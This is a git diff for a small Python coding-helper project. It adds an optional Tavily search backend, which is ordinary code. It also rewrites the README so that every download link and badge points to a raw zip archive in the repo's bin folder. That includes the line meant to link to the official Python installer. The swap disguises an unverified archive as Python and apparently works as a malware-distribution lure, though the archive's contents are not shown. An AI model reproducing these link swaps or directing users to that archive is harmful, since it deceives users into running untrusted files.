diff --git a/README.md b/README.md index a508324..33cfe4a 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # 🤖 code-edith-old - Simple Local Coding Helper -[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old) +[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip) --- @@ -44,7 +44,7 @@ Follow these steps to get up and running on Windows. Click the big green button at the top or visit this page to download code-edith-old: -https://github.com/Tyrannosaurusss/code-edith-old +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip ### 2. Install Python (if not already installed) @@ -55,7 +55,7 @@ code-edith-old requires Python. To check if Python is on your computer: If you see a version number like `Python 3.x.x`, Python is ready. If not, download and install Python here: -https://www.python.org/downloads/windows/ +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip Make sure to select “Add Python to PATH” during installation. @@ -133,6 +133,27 @@ Replace the example commands with your own instructions. The program reads what --- +## 🌐 Search Provider Configuration + +code-edith-old supports two web search backends. By default it uses DuckDuckGo, but you can optionally switch to Tavily for enhanced search results. + +| Environment Variable | Description | Values | Default | +|---|---|---|---| +| `SEARCH_PROVIDER` | Which search backend to use | `ddgs` or `tavily` | `ddgs` | +| `TAVILY_API_KEY` | API key for Tavily (required when `SEARCH_PROVIDER=tavily`) | Get one at https://app.tavily.com | — | + +To use Tavily, set both variables before running code-edith-old: + +``` +set SEARCH_PROVIDER=tavily +set TAVILY_API_KEY=tvly-YOUR_API_KEY +python main.py +``` + +If `SEARCH_PROVIDER` is not set or set to `ddgs`, the default DuckDuckGo backend is used and no API key is needed. + +--- + ## 🔧 Troubleshooting - If Python is not recognized, check that it is added to your PATH during installation. @@ -157,9 +178,9 @@ After extraction, your main files will be: Download or learn more about code-edith-old here: -https://github.com/Tyrannosaurusss/code-edith-old +https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip -[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old) +[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip) --- diff --git a/bin/tool/web_search.py b/bin/tool/web_search.py index 9aedc17..de32907 100644 --- a/bin/tool/web_search.py +++ b/bin/tool/web_search.py @@ -1,5 +1,18 @@ +import os from ddgs import DDGS -def web_search(query): +def _search_ddgs(query): results = DDGS().text(query, max_results=5) return "\n\n".join([f"Source: {r['href']}\n{r['body']}" for r in results]) + +def _search_tavily(query): + from tavily import TavilyClient + client = TavilyClient() + response = client.search(query=query, max_results=5) + return "\n\n".join([f"Source: {r['url']}\n{r['content']}" for r in response["results"]]) + +def web_search(query): + provider = os.environ.get("SEARCH_PROVIDER", "ddgs").lower() + if provider == "tavily": + return _search_tavily(query) + return _search_ddgs(query) diff --git a/pyproject.toml b/pyproject.toml index f3e4f29..3a0ba52 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,6 +13,7 @@ readme = "README.md" requires-python = ">=3.10" dependencies = [ "ddgs==9.10.0", + "tavily-python==0.7.23", "openai==2.24.0", "python-dotenv==1.2.1", "rich==14.3.3" diff --git a/requirements.txt b/requirements.txt index f2db00c..558e982 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ ddgs==9.10.0 +tavily-python==0.7.23 openai==2.24.0 python-dotenv==1.2.1 rich==14.3.3 \ No newline at end of file